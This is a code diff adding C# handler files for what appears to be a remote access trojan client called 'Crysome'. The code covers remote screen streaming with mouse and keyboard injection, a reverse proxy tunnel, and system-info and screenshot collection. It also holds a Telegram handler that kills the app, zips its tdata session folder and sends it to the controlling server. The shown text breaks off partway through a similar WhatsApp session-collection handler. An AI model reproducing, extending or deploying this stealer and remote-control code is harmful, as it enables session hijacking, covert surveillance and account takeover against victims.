@@ -0,0 +1,422 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Threading;
|
||||
using System.Windows.Forms;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
using TurboJpegWrapper;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class RemoteDesktopHandlers
|
||||
{
|
||||
private struct INPUT
|
||||
{
|
||||
public uint type;
|
||||
public InputUnion U;
|
||||
public static int Size => Marshal.SizeOf(typeof(INPUT));
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
private struct InputUnion
|
||||
{
|
||||
[FieldOffset(0)]
|
||||
public MOUSEINPUT mi;
|
||||
[FieldOffset(0)]
|
||||
public KEYBDINPUT ki;
|
||||
}
|
||||
|
||||
private struct MOUSEINPUT
|
||||
{
|
||||
public int dx;
|
||||
public int dy;
|
||||
public uint mouseData;
|
||||
public uint dwFlags;
|
||||
public uint time;
|
||||
public IntPtr dwExtraInfo;
|
||||
}
|
||||
|
||||
private struct KEYBDINPUT
|
||||
{
|
||||
public ushort wVk;
|
||||
public ushort wScan;
|
||||
public uint dwFlags;
|
||||
public uint time;
|
||||
public IntPtr dwExtraInfo;
|
||||
}
|
||||
|
||||
private static volatile bool _desktopRunning;
|
||||
private static Thread _desktopThread;
|
||||
private static CrysomeClient _desktopClient;
|
||||
private static int _intervalMs = 200;
|
||||
private static int _screenIndex = -1;
|
||||
private static volatile int _jpegQuality = 80;
|
||||
private static byte _captureMode;
|
||||
public static string ActiveMode { get; private set; } = "Idle";
|
||||
private static ImageCodecInfo _jpegCodec;
|
||||
private static readonly object _codecLock = new object();
|
||||
private static TurboJpegWrapper.TJCompressor _turboCompressor;
|
||||
private static bool _turboChecked;
|
||||
|
||||
private const int SM_XVIRTUALSCREEN = 76;
|
||||
private const int SM_YVIRTUALSCREEN = 77;
|
||||
private const int SM_CXVIRTUALSCREEN = 78;
|
||||
private const int SM_CYVIRTUALSCREEN = 79;
|
||||
|
||||
public static void HandleGetScreens(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
try
|
||||
{
|
||||
Screen[] allScreens = Screen.AllScreens;
|
||||
ScreenInfo[] array = (ScreenInfo[])(object)new ScreenInfo[allScreens.Length];
|
||||
for (int i = 0; i < allScreens.Length; i++)
|
||||
{
|
||||
Screen screen = allScreens[i];
|
||||
array[i] = new ScreenInfo
|
||||
{
|
||||
Name = screen.DeviceName,
|
||||
X = screen.Bounds.X,
|
||||
Y = screen.Bounds.Y,
|
||||
Width = screen.Bounds.Width,
|
||||
Height = screen.Bounds.Height,
|
||||
IsPrimary = screen.Primary
|
||||
};
|
||||
}
|
||||
client.SendPacket((IPacket)new ScreensResponsePacket(array));
|
||||
}
|
||||
catch
|
||||
{
|
||||
client.SendPacket((IPacket)new ScreensResponsePacket((ScreenInfo[])(object)new ScreenInfo[0]));
|
||||
}
|
||||
}
|
||||
|
||||
public static void HandleStartRemoteDesktop(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
_desktopRunning = false;
|
||||
_desktopThread?.Join(500);
|
||||
StartRemoteDesktopPacket val = (StartRemoteDesktopPacket)packet;
|
||||
_intervalMs = Math.Max(20, Math.Min(2000, val.IntervalMs));
|
||||
_screenIndex = val.ScreenIndex;
|
||||
_captureMode = val.CaptureMode;
|
||||
_desktopClient = client;
|
||||
_jpegQuality = 80;
|
||||
_desktopRunning = true;
|
||||
_desktopThread = new Thread(DesktopLoop) { IsBackground = true };
|
||||
_desktopThread.Start();
|
||||
}
|
||||
|
||||
public static void HandleStopRemoteDesktop(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
_desktopRunning = false;
|
||||
_desktopThread?.Join(2000);
|
||||
}
|
||||
|
||||
public static void HandleRdpSetQuality(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
RdpSetQualityPacket val = (RdpSetQualityPacket)packet;
|
||||
_jpegQuality = Math.Max(10, Math.Min(95, val.Quality));
|
||||
if (val.IntervalMs > 0)
|
||||
_intervalMs = Math.Max(20, Math.Min(2000, val.IntervalMs));
|
||||
}
|
||||
|
||||
public static void HandleRemoteInput(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
RemoteInputPacket val = (RemoteInputPacket)packet;
|
||||
try
|
||||
{
|
||||
int offsetX = 0, offsetY = 0;
|
||||
Screen targetScreen = GetTargetScreen();
|
||||
if (targetScreen != null)
|
||||
{
|
||||
offsetX = targetScreen.Bounds.X;
|
||||
offsetY = targetScreen.Bounds.Y;
|
||||
}
|
||||
int x = val.X + offsetX;
|
||||
int y = val.Y + offsetY;
|
||||
|
||||
switch (val.Kind)
|
||||
{
|
||||
case 0: SendMouseMove(x, y); break;
|
||||
case 1: SendMouseButton(x, y, val.ButtonOrKey, true); break;
|
||||
case 2: SendMouseButton(x, y, val.ButtonOrKey, false); break;
|
||||
case 3: SendKey((ushort)(val.ButtonOrKey & 0xFF), true); break;
|
||||
case 4: SendKey((ushort)(val.ButtonOrKey & 0xFF), false); break;
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
}
|
||||
|
||||
private static void DesktopLoop()
|
||||
{
|
||||
var sw = new Stopwatch();
|
||||
DxgiCapture dxgi = null;
|
||||
bool dxgiAvailable = false;
|
||||
int dxgiRetryCounter = 0;
|
||||
|
||||
if (_captureMode == 2)
|
||||
{
|
||||
// GDI+ forced — skip DXGI entirely
|
||||
dxgiAvailable = false;
|
||||
ActiveMode = "GDI+ (forced)";
|
||||
Program.Log("[RDP] GDI+ forced by server, skipping DXGI");
|
||||
}
|
||||
else
|
||||
{
|
||||
// Try DXGI (Auto or DXGI forced)
|
||||
try
|
||||
{
|
||||
dxgi = new DxgiCapture();
|
||||
int idx = _screenIndex >= 0 ? _screenIndex : 0;
|
||||
dxgiAvailable = dxgi.Init(idx);
|
||||
if (dxgiAvailable)
|
||||
{
|
||||
ActiveMode = _captureMode == 1 ? "DXGI (forced)" : "DXGI";
|
||||
Program.Log("[RDP] DXGI Desktop Duplication active" + (_captureMode == 1 ? " (forced)" : ""));
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
dxgiAvailable = false;
|
||||
}
|
||||
|
||||
if (!dxgiAvailable)
|
||||
{
|
||||
if (_captureMode == 1)
|
||||
{
|
||||
// DXGI forced but failed — log error, don't fall back
|
||||
ActiveMode = "DXGI (failed)";
|
||||
Program.Log("[RDP] DXGI forced but init failed, no fallback");
|
||||
}
|
||||
else
|
||||
{
|
||||
// Auto mode — fall back to GDI+
|
||||
ActiveMode = "GDI+";
|
||||
Program.Log("[RDP] DXGI unavailable, using GDI+ fallback");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Bitmap gdiBitmap = null;
|
||||
Rectangle gdiRect = Rectangle.Empty;
|
||||
|
||||
try
|
||||
{
|
||||
while (_desktopRunning && _desktopClient != null)
|
||||
{
|
||||
sw.Restart();
|
||||
try
|
||||
{
|
||||
byte[] jpeg = null;
|
||||
|
||||
if (dxgiAvailable)
|
||||
{
|
||||
jpeg = dxgi.CaptureFrameToJpeg(_jpegQuality, 16);
|
||||
if (jpeg != null)
|
||||
{
|
||||
dxgiRetryCounter = 0;
|
||||
}
|
||||
else
|
||||
{
|
||||
dxgiRetryCounter++;
|
||||
if (dxgiRetryCounter > 120)
|
||||
{
|
||||
Program.Log("[RDP] DXGI reinit");
|
||||
int idx = _screenIndex >= 0 ? _screenIndex : 0;
|
||||
dxgiAvailable = dxgi.Init(idx);
|
||||
dxgiRetryCounter = 0;
|
||||
if (!dxgiAvailable)
|
||||
{
|
||||
if (_captureMode == 1)
|
||||
{
|
||||
Program.Log("[RDP] DXGI reinit failed, DXGI forced — no fallback");
|
||||
ActiveMode = "DXGI (failed)";
|
||||
}
|
||||
else
|
||||
{
|
||||
Program.Log("[RDP] DXGI reinit failed, falling back to GDI+");
|
||||
ActiveMode = "GDI+";
|
||||
}
|
||||
dxgi.Dispose();
|
||||
dxgi = null;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!dxgiAvailable && _captureMode != 1)
|
||||
{
|
||||
Rectangle bounds = GetTargetScreen().Bounds;
|
||||
if (gdiBitmap == null || bounds != gdiRect)
|
||||
{
|
||||
gdiBitmap?.Dispose();
|
||||
gdiBitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format24bppRgb);
|
||||
gdiRect = bounds;
|
||||
}
|
||||
jpeg = CaptureGdiToJpeg(gdiBitmap, bounds, _jpegQuality);
|
||||
}
|
||||
|
||||
if (jpeg != null && jpeg.Length > 0)
|
||||
{
|
||||
try { _desktopClient?.SendDesktopScreenFrame(jpeg); } catch { }
|
||||
}
|
||||
}
|
||||
catch { }
|
||||
|
||||
int elapsed = (int)sw.ElapsedMilliseconds;
|
||||
int sleep = _intervalMs - elapsed;
|
||||
if (sleep > 1)
|
||||
Thread.Sleep(sleep);
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
ActiveMode = "Idle";
|
||||
dxgi?.Dispose();
|
||||
gdiBitmap?.Dispose();
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] EncodeBitmapToJpeg(Bitmap bmp, int quality)
|
||||
{
|
||||
if (!_turboChecked)
|
||||
{
|
||||
_turboChecked = true;
|
||||
try { _turboCompressor = new TJCompressor(); }
|
||||
catch { _turboCompressor = null; }
|
||||
}
|
||||
|
||||
if (_turboCompressor != null)
|
||||
{
|
||||
try
|
||||
{
|
||||
var bmpData = bmp.LockBits(
|
||||
new Rectangle(0, 0, bmp.Width, bmp.Height),
|
||||
ImageLockMode.ReadOnly,
|
||||
PixelFormat.Format24bppRgb);
|
||||
try
|
||||
{
|
||||
return _turboCompressor.Compress(
|
||||
bmpData.Scan0,
|
||||
bmpData.Stride,
|
||||
bmp.Width,
|
||||
bmp.Height,
|
||||
TJPixelFormats.TJPF_BGR,
|
||||
TJSubsamplingOptions.TJSAMP_420,
|
||||
quality,
|
||||
TJFlags.FASTDCT);
|
||||
}
|
||||
finally
|
||||
{
|
||||
bmp.UnlockBits(bmpData);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
_turboCompressor = null;
|
||||
}
|
||||
}
|
||||
|
||||
var codec = GetJpegCodec();
|
||||
if (codec != null)
|
||||
{
|
||||
using (var ep = new EncoderParameters(1))
|
||||
{
|
||||
ep.Param[0] = new EncoderParameter(Encoder.Quality, quality);
|
||||
using (var ms = new MemoryStream(65536))
|
||||
{
|
||||
bmp.Save(ms, codec, ep);
|
||||
return ms.ToArray();
|
||||
}
|
||||
}
|
||||
}
|
||||
using (var ms = new MemoryStream(65536))
|
||||
{
|
||||
bmp.Save(ms, ImageFormat.Jpeg);
|
||||
return ms.ToArray();
|
||||
}
|
||||
}
|
||||
|
||||
private static byte[] CaptureGdiToJpeg(Bitmap reuseBmp, Rectangle bounds, int quality)
|
||||
{
|
||||
using (var g = Graphics.FromImage(reuseBmp))
|
||||
g.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size);
|
||||
return EncodeBitmapToJpeg(reuseBmp, quality);
|
||||
}
|
||||
|
||||
private static ImageCodecInfo GetJpegCodec()
|
||||
{
|
||||
if (_jpegCodec != null) return _jpegCodec;
|
||||
lock (_codecLock)
|
||||
{
|
||||
if (_jpegCodec != null) return _jpegCodec;
|
||||
foreach (var info in ImageCodecInfo.GetImageEncoders())
|
||||
{
|
||||
if (info.FormatID == ImageFormat.Jpeg.Guid)
|
||||
{
|
||||
_jpegCodec = info;
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
return _jpegCodec;
|
||||
}
|
||||
|
||||
private static Screen GetTargetScreen()
|
||||
{
|
||||
var all = Screen.AllScreens;
|
||||
if (_screenIndex >= 0 && _screenIndex < all.Length)
|
||||
return all[_screenIndex];
|
||||
return Screen.PrimaryScreen;
|
||||
}
|
||||
|
||||
private static void ToAbsolute(int x, int y, out int ax, out int ay)
|
||||
{
|
||||
int vx = GetSystemMetrics(SM_XVIRTUALSCREEN);
|
||||
int vy = GetSystemMetrics(SM_YVIRTUALSCREEN);
|
||||
int vw = GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
int vh = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
if (vw <= 0) vw = Screen.PrimaryScreen.Bounds.Width;
|
||||
if (vh <= 0) vh = Screen.PrimaryScreen.Bounds.Height;
|
||||
ax = (int)((double)(x - vx) * 65535.0 / vw);
|
||||
ay = (int)((double)(y - vy) * 65535.0 / vh);
|
||||
}
|
||||
|
||||
private static void SendMouseMove(int x, int y)
|
||||
{
|
||||
ToAbsolute(x, y, out var ax, out var ay);
|
||||
var input = new INPUT[1];
|
||||
input[0].type = 0;
|
||||
input[0].U.mi = new MOUSEINPUT { dx = ax, dy = ay, dwFlags = 0xC001 };
|
||||
SendInput(1, input, INPUT.Size);
|
||||
}
|
||||
|
||||
private static void SendMouseButton(int x, int y, int button, bool down)
|
||||
{
|
||||
ToAbsolute(x, y, out var ax, out var ay);
|
||||
uint flags = button == 1 ? (down ? 2u : 4u) : (down ? 8u : 16u);
|
||||
var input = new INPUT[1];
|
||||
input[0].type = 0;
|
||||
input[0].U.mi = new MOUSEINPUT { dx = ax, dy = ay, dwFlags = 0xC001 | flags };
|
||||
SendInput(1, input, INPUT.Size);
|
||||
}
|
||||
|
||||
private static void SendKey(ushort vk, bool down)
|
||||
{
|
||||
var input = new INPUT[1];
|
||||
input[0].type = 1;
|
||||
input[0].U.ki = new KEYBDINPUT { wVk = vk, dwFlags = down ? 0u : 2u };
|
||||
SendInput(1, input, INPUT.Size);
|
||||
}
|
||||
|
||||
[DllImport("user32.dll", SetLastError = true)]
|
||||
private static extern uint SendInput(uint nInputs, INPUT[] pInputs, int cbSize);
|
||||
|
||||
[DllImport("user32.dll")]
|
||||
private static extern int GetSystemMetrics(int nIndex);
|
||||
}
|
||||
@@ -0,0 +1,144 @@
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Threading;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
internal sealed class ReverseProxyStream : Stream
|
||||
{
|
||||
private readonly Queue<byte[]> _chunks = new Queue<byte[]>();
|
||||
|
||||
private byte[] _currentChunk;
|
||||
|
||||
private int _currentOffset;
|
||||
|
||||
private readonly object _lock = new object();
|
||||
|
||||
private bool _closed;
|
||||
|
||||
private readonly Action<byte[]> _sendToServer;
|
||||
|
||||
public override bool CanRead => true;
|
||||
|
||||
public override bool CanWrite => true;
|
||||
|
||||
public override bool CanSeek => false;
|
||||
|
||||
public override long Length
|
||||
{
|
||||
get
|
||||
{
|
||||
throw new NotSupportedException();
|
||||
}
|
||||
}
|
||||
|
||||
public override long Position
|
||||
{
|
||||
get
|
||||
{
|
||||
throw new NotSupportedException();
|
||||
}
|
||||
set
|
||||
{
|
||||
throw new NotSupportedException();
|
||||
}
|
||||
}
|
||||
|
||||
public ReverseProxyStream(Action<byte[]> sendToServer)
|
||||
{
|
||||
_sendToServer = sendToServer ?? throw new ArgumentNullException("sendToServer");
|
||||
}
|
||||
|
||||
public void Push(byte[] data)
|
||||
{
|
||||
if (data == null || data.Length == 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
lock (_lock)
|
||||
{
|
||||
if (!_closed)
|
||||
{
|
||||
_chunks.Enqueue(data);
|
||||
Monitor.Pulse(_lock);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void CloseFromRemote()
|
||||
{
|
||||
lock (_lock)
|
||||
{
|
||||
_closed = true;
|
||||
Monitor.PulseAll(_lock);
|
||||
}
|
||||
}
|
||||
|
||||
public override int Read(byte[] buffer, int offset, int count)
|
||||
{
|
||||
if (buffer == null || offset < 0 || count <= 0)
|
||||
{
|
||||
return 0;
|
||||
}
|
||||
lock (_lock)
|
||||
{
|
||||
int num = 0;
|
||||
while (num < count)
|
||||
{
|
||||
if (_currentChunk != null && _currentOffset < _currentChunk.Length)
|
||||
{
|
||||
int num2 = Math.Min(count - num, _currentChunk.Length - _currentOffset);
|
||||
Array.Copy(_currentChunk, _currentOffset, buffer, offset + num, num2);
|
||||
_currentOffset += num2;
|
||||
num += num2;
|
||||
if (_currentOffset >= _currentChunk.Length)
|
||||
{
|
||||
_currentChunk = null;
|
||||
_currentOffset = 0;
|
||||
}
|
||||
if (num > 0)
|
||||
{
|
||||
return num;
|
||||
}
|
||||
}
|
||||
if (_chunks.Count > 0)
|
||||
{
|
||||
_currentChunk = _chunks.Dequeue();
|
||||
_currentOffset = 0;
|
||||
continue;
|
||||
}
|
||||
if (_closed)
|
||||
{
|
||||
return (num > 0) ? num : 0;
|
||||
}
|
||||
Monitor.Wait(_lock);
|
||||
}
|
||||
return num;
|
||||
}
|
||||
}
|
||||
|
||||
public override void Write(byte[] buffer, int offset, int count)
|
||||
{
|
||||
if (buffer != null && count > 0 && offset >= 0 && offset + count <= buffer.Length)
|
||||
{
|
||||
byte[] array = new byte[count];
|
||||
Array.Copy(buffer, offset, array, 0, count);
|
||||
_sendToServer(array);
|
||||
}
|
||||
}
|
||||
|
||||
public override long Seek(long offset, SeekOrigin origin)
|
||||
{
|
||||
throw new NotSupportedException();
|
||||
}
|
||||
|
||||
public override void SetLength(long value)
|
||||
{
|
||||
throw new NotSupportedException();
|
||||
}
|
||||
|
||||
public override void Flush()
|
||||
{
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,80 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.Drawing;
|
||||
using System.Drawing.Imaging;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
using System.Windows.Forms;
|
||||
using Crysome.Client.Configuration;
|
||||
using Crysome.Client.Inventory;
|
||||
using Crysome.Client.SystemInfo;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
using Crysome.Common.Network.Packets.Server;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class SystemHandlers
|
||||
{
|
||||
public static void HandleGetSystemInfo(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_002f: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0039: Expected O, but got Unknown
|
||||
Crysome.Client.SystemInfo.SystemInformation systemInformation = Crysome.Client.SystemInfo.SystemInformation.Get();
|
||||
client.SendPacket((IPacket)new GetSystemInfoResponsePacket(ClientConfiguration.Identifier, client.LocalAddress.ToString(), client.Port, systemInformation.UserName, systemInformation.ComputerName, systemInformation.OperatingSystem));
|
||||
}
|
||||
|
||||
public static void HandleClientInfo(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0070: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_007a: Expected O, but got Unknown
|
||||
Crysome.Client.SystemInfo.SystemInformation systemInformation = Crysome.Client.SystemInfo.SystemInformation.Get();
|
||||
client.SendPacket((IPacket)new ClientInfoResponsePacket(ClientConfiguration.Identifier, (client.RemoteAddress != null) ? client.RemoteAddress.Address.ToString() : "0.0.0.0", (client.RemoteAddress != null) ? client.RemoteAddress.Port : 0, systemInformation.UserName, systemInformation.ComputerName, systemInformation.OperatingSystem, systemInformation.ActiveWindowTitle, systemInformation.Uptime, systemInformation.CountryCode, ClientConfiguration.Group, systemInformation.GPU));
|
||||
InventoryReportBuilder.OnClientInfoPoll(client);
|
||||
}
|
||||
|
||||
public static void HandleGetDrives(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_0046: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0050: Expected O, but got Unknown
|
||||
long num = 0L;
|
||||
GetDrivesRequestPacket val = (GetDrivesRequestPacket)(object)((packet is GetDrivesRequestPacket) ? packet : null);
|
||||
if (val != null)
|
||||
{
|
||||
num = val.RequestId;
|
||||
}
|
||||
string[] array = (from d in DriveInfo.GetDrives()
|
||||
select d.Name).ToArray();
|
||||
client.SendPacket((IPacket)new GetDrivesResponsePacket(array, num));
|
||||
}
|
||||
|
||||
public static void HandleTakeScreenshot(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
//IL_00a5: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00af: Expected O, but got Unknown
|
||||
byte[] array = null;
|
||||
try
|
||||
{
|
||||
Rectangle bounds = Screen.PrimaryScreen.Bounds;
|
||||
using Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height, PixelFormat.Format32bppArgb);
|
||||
using (Graphics graphics = Graphics.FromImage(bitmap))
|
||||
{
|
||||
graphics.CopyFromScreen(bounds.Location, Point.Empty, bounds.Size, CopyPixelOperation.SourceCopy);
|
||||
}
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
bitmap.Save(memoryStream, ImageFormat.Png);
|
||||
array = memoryStream.ToArray();
|
||||
}
|
||||
catch (Exception)
|
||||
{
|
||||
array = new byte[0];
|
||||
}
|
||||
client.SendPacket((IPacket)new TakeScreenshotResponsePacket(array ?? new byte[0]));
|
||||
}
|
||||
|
||||
public static void HandleRestart(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
Process.Start("shutdown.exe", "-r -t 00");
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,235 @@
|
||||
using System;
|
||||
using System.Diagnostics;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Linq;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class TelegramHandlers
|
||||
{
|
||||
private static readonly string[] TdataPaths = new string[2]
|
||||
{
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Telegram Desktop\\tdata"),
|
||||
Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Telegram Desktop\\tdata")
|
||||
};
|
||||
|
||||
private static readonly string[] BlacklistDirs = new string[14]
|
||||
{
|
||||
"dumps", "emojis", "emoji", "user_data", "working", "tdummy", "user_data#2", "user_data#3", "user_data#4", "user_data#5",
|
||||
"updates", "temp", "log.txt", "log_full.txt"
|
||||
};
|
||||
|
||||
private const long MaxZipBytes = 52428800L;
|
||||
|
||||
private const long MaxFileBytes = 10485760L;
|
||||
|
||||
public static void HandleTelegramSessionRequest(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
Task.Run(delegate
|
||||
{
|
||||
DoCollectTelegramSession(client);
|
||||
});
|
||||
}
|
||||
|
||||
private static void DoCollectTelegramSession(CrysomeClient client)
|
||||
{
|
||||
string userName = "";
|
||||
try
|
||||
{
|
||||
userName = Environment.UserName;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
KillTelegram();
|
||||
string text = TdataPaths.FirstOrDefault((string p) => Directory.Exists(p) && Directory.GetFileSystemEntries(p).Length != 0);
|
||||
if (string.IsNullOrEmpty(text))
|
||||
{
|
||||
Send(client, userName, null, "Telegram tdata not found.");
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
byte[] array = ZipTdata(text);
|
||||
if (array == null || array.Length == 0)
|
||||
{
|
||||
Send(client, userName, null, "tdata folder is empty or all files were skipped.");
|
||||
}
|
||||
else
|
||||
{
|
||||
Send(client, userName, array, null);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("TelegramSession error: " + ex.Message);
|
||||
Send(client, userName, null, ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
private static void KillTelegram()
|
||||
{
|
||||
string[] array = new string[2] { "Telegram", "telegram" };
|
||||
foreach (string processName in array)
|
||||
{
|
||||
try
|
||||
{
|
||||
Process[] processesByName = Process.GetProcessesByName(processName);
|
||||
foreach (Process process in processesByName)
|
||||
{
|
||||
try
|
||||
{
|
||||
process.Kill();
|
||||
process.WaitForExit(2000);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
process.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
Thread.Sleep(800);
|
||||
}
|
||||
|
||||
private static byte[] ZipTdata(string tdataPath)
|
||||
{
|
||||
using MemoryStream memoryStream = new MemoryStream();
|
||||
using (ZipArchive zip = new ZipArchive(memoryStream, ZipArchiveMode.Create, leaveOpen: true))
|
||||
{
|
||||
long totalBytes = 0L;
|
||||
PackDirectory(zip, tdataPath, "", ref totalBytes);
|
||||
}
|
||||
return memoryStream.ToArray();
|
||||
}
|
||||
|
||||
private static void PackDirectory(ZipArchive zip, string dirPath, string entryBase, ref long totalBytes)
|
||||
{
|
||||
if (totalBytes >= 52428800)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
string[] files = Directory.GetFiles(dirPath);
|
||||
foreach (string text in files)
|
||||
{
|
||||
if (totalBytes >= 52428800)
|
||||
{
|
||||
break;
|
||||
}
|
||||
string fileName = Path.GetFileName(text);
|
||||
if (fileName.EndsWith(".txt", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
continue;
|
||||
}
|
||||
long num = 0L;
|
||||
try
|
||||
{
|
||||
num = new FileInfo(text).Length;
|
||||
}
|
||||
catch
|
||||
{
|
||||
continue;
|
||||
}
|
||||
if (num > 10485760 || num == 0L)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
string entryName = (string.IsNullOrEmpty(entryBase) ? fileName : (entryBase + "/" + fileName));
|
||||
try
|
||||
{
|
||||
using Stream stream = zip.CreateEntry(entryName, CompressionLevel.Optimal).Open();
|
||||
using FileStream fileStream = new FileStream(text, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
|
||||
byte[] array = new byte[81920];
|
||||
int num2;
|
||||
while ((num2 = fileStream.Read(array, 0, array.Length)) > 0 && totalBytes + num2 <= 52428800)
|
||||
{
|
||||
stream.Write(array, 0, num2);
|
||||
totalBytes += num2;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
string[] files = Directory.GetDirectories(dirPath);
|
||||
foreach (string text2 in files)
|
||||
{
|
||||
if (totalBytes < 52428800)
|
||||
{
|
||||
string fileName2 = Path.GetFileName(text2);
|
||||
if (!IsBlacklisted(fileName2))
|
||||
{
|
||||
string entryBase2 = (string.IsNullOrEmpty(entryBase) ? fileName2 : (entryBase + "/" + fileName2));
|
||||
PackDirectory(zip, text2, entryBase2, ref totalBytes);
|
||||
}
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private static bool IsBlacklisted(string name)
|
||||
{
|
||||
string[] blacklistDirs = BlacklistDirs;
|
||||
foreach (string b in blacklistDirs)
|
||||
{
|
||||
if (string.Equals(name, b, StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
return true;
|
||||
}
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
private static void Send(CrysomeClient client, string userName, byte[] zip, string error)
|
||||
{
|
||||
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0006: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_000d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_001d: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0032: Expected O, but got Unknown
|
||||
try
|
||||
{
|
||||
client.SendPacket((IPacket)new TelegramSessionResponsePacket
|
||||
{
|
||||
UserName = userName,
|
||||
ZipBytes = (zip ?? Array.Empty<byte>()),
|
||||
Error = (error ?? "")
|
||||
});
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
Program.Log("TelegramSession send error: " + ex.Message);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,138 @@
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.IO.Compression;
|
||||
using System.Threading.Tasks;
|
||||
using Crysome.Common.Network;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Packets.Client;
|
||||
|
||||
namespace Crysome.Client.Handlers;
|
||||
|
||||
public static class WhatsAppHandlers
|
||||
{
|
||||
private static long _totalBytes;
|
||||
|
||||
private static readonly long MaxZipBytes = 52428800L;
|
||||
|
||||
public static void HandleWhatsAppSessionRequest(CrysomeClient client, IPacket packet)
|
||||
{
|
||||
Task.Run(delegate
|
||||
{
|
||||
DoCollectWhatsAppSession(client);
|
||||
});
|
||||
}
|
||||
|
||||
private static void DoCollectWhatsAppSession(CrysomeClient client)
|
||||
{
|
||||
//IL_0149: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0153: Expected O, but got Unknown
|
||||
//IL_0029: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_0033: Expected O, but got Unknown
|
||||
//IL_00ef: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00f9: Expected O, but got Unknown
|
||||
//IL_00db: Unknown result type (might be due to invalid IL or missing references)
|
||||
//IL_00e5: Expected O, but got Unknown
|
||||
_totalBytes = 0L;
|
||||
try
|
||||
{
|
||||
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "WhatsApp");
|
||||
if (!Directory.Exists(text))
|
||||
{
